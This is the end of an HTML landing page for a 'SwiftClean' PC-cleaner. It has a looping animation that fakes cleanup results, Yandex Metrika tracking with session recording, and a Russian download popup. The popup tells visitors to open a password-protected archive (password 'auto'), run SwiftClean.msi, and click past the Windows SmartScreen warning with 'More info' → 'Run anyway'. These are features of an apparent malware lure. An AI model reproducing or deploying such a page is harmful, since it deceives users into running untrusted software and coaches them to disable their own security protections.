  function fmt(mb){ var a=APP[curLang]; return mb<=0 ? a.zero : (mb.toFixed(1)+a.unit); }
  function awRows(){ return document.querySelectorAll('.aw-row'); }
  function applyAppLang(){ var a=APP[curLang];
    $('aw-title').textContent=a.title; $('aw-tag').textContent=a.tag;
    $('aw-t1').textContent=a.t1; $('aw-t2').textContent=a.t2;
    $('aw-b1').textContent=a.b1; $('aw-b2').textContent=a.b2; $('aw-b3').textContent=a.b3;
    var rows=awRows(); for(var i=0;i<rows.length;i++){ rows[i].querySelector('.aw-name').textContent=a.names[i]; }
  }
  function setSizes(vals){ var rows=awRows();
    for(var i=0;i<rows.length;i++){ var el=rows[i].querySelector('.aw-size');
      el.textContent=fmt(vals[i]); el.classList.toggle('zero', vals[i]<=0); } }
  function sleep(ms){ return new Promise(function(r){ setTimeout(r,ms); }); }
  async function demoLoop(){
    var bar=$('aw-barfill'), found=$('aw-found'), status=$('aw-status'), btn=$('aw-b2');
    if(!bar) return;
    while(true){
      var a=APP[curLang];
      setSizes(BASE); bar.style.width='100%'; found.style.color='#2ecc71';
      found.textContent=a.found+fmt(FREED); status.textContent=a.statusFound;
      await sleep(2200);
      a=APP[curLang];
      btn.classList.add('press'); await sleep(240); btn.classList.remove('press');
      status.textContent=a.cleaning;
      var rows=awRows();
      for(var i=0;i<rows.length;i++){ if(ROWS[i].chk){ (function(el){ el.classList.add('flash'); setTimeout(function(){el.classList.remove('flash');},600); })(rows[i]); } }
      bar.style.width='0%';
      await new Promise(function(res){ var start=null,dur=1700;
        function step(ts){ if(start===null)start=ts; var k=Math.min(1,(ts-start)/dur);
          bar.style.width=Math.round(k*100)+'%';
          var vals=BASE.map(function(v,i){ return ROWS[i].chk ? Math.max(0,+(v*(1-k)).toFixed(1)) : v; });
          setSizes(vals);
          if(k<1) requestAnimationFrame(step); else res();
        } requestAnimationFrame(step);
      });
      a=APP[curLang];
      setSizes(BASE.map(function(v,i){ return ROWS[i].chk?0:v; }));
      found.textContent=a.freed+fmt(FREED); status.textContent=a.done;
      await sleep(2300);
    }
  }

  // init: saved lang or auto (ru default under Yandex-модерацию)
  var saved; try{ saved=localStorage.getItem('sc_lang'); }catch(e){}
  setLang(saved || 'ru');
  demoLoop();
</script>

<!-- Yandex.Metrika -->
<script type="text/javascript">
  var YM_ID = 110455372;
  (function(m,e,t,r,i,k,a){m[i]=m[i]||function(){(m[i].a=m[i].a||[]).push(arguments)};
  m[i].l=1*new Date();for(var j=0;j<document.scripts.length;j++){if(document.scripts[j].src===r){return;}}
  k=e.createElement(t),a=e.getElementsByTagName(t)[0],k.async=1,k.src=r,a.parentNode.insertBefore(k,a)})
  (window,document,"script","https://mc.yandex.ru/metrika/tag.js","ym");
  ym(YM_ID,"init",{clickmap:true,trackLinks:true,accurateTrackBounce:true,webvisor:true});
</script>
<noscript><div><img src="https://mc.yandex.ru/watch/110455372" style="position:absolute;left:-9999px" alt=""/></div></noscript>

<!-- Download popup -->
<div id="dlmodal" class="dlm-overlay">
  <div class="dlm-card">
    <button class="dlm-x" onclick="closeDlModal()">✕</button>
    <div class="dlm-arrow">⬆</div>
    <div class="dlm-row">
      <div class="dlm-ico">✦</div>
      <div>
        <div class="dlm-title" id="dlm-title">Скачивание началось!</div>
        <p id="dlm-l1">Нажми <b>⬆ вверху справа</b> и открой архив</p>
        <p id="dlm-l2">Распакуй (пароль: <b>auto</b>) и запусти <b>SwiftClean.msi</b></p>
        <div class="dlm-warn" id="dlm-w">Синее окно Windows? Это норма для новых программ:<br><b>«Подробнее» → «Выполнить в любом случае»</b></div>
      </div>
    </div>
  </div>
</div>
</body>
</html>
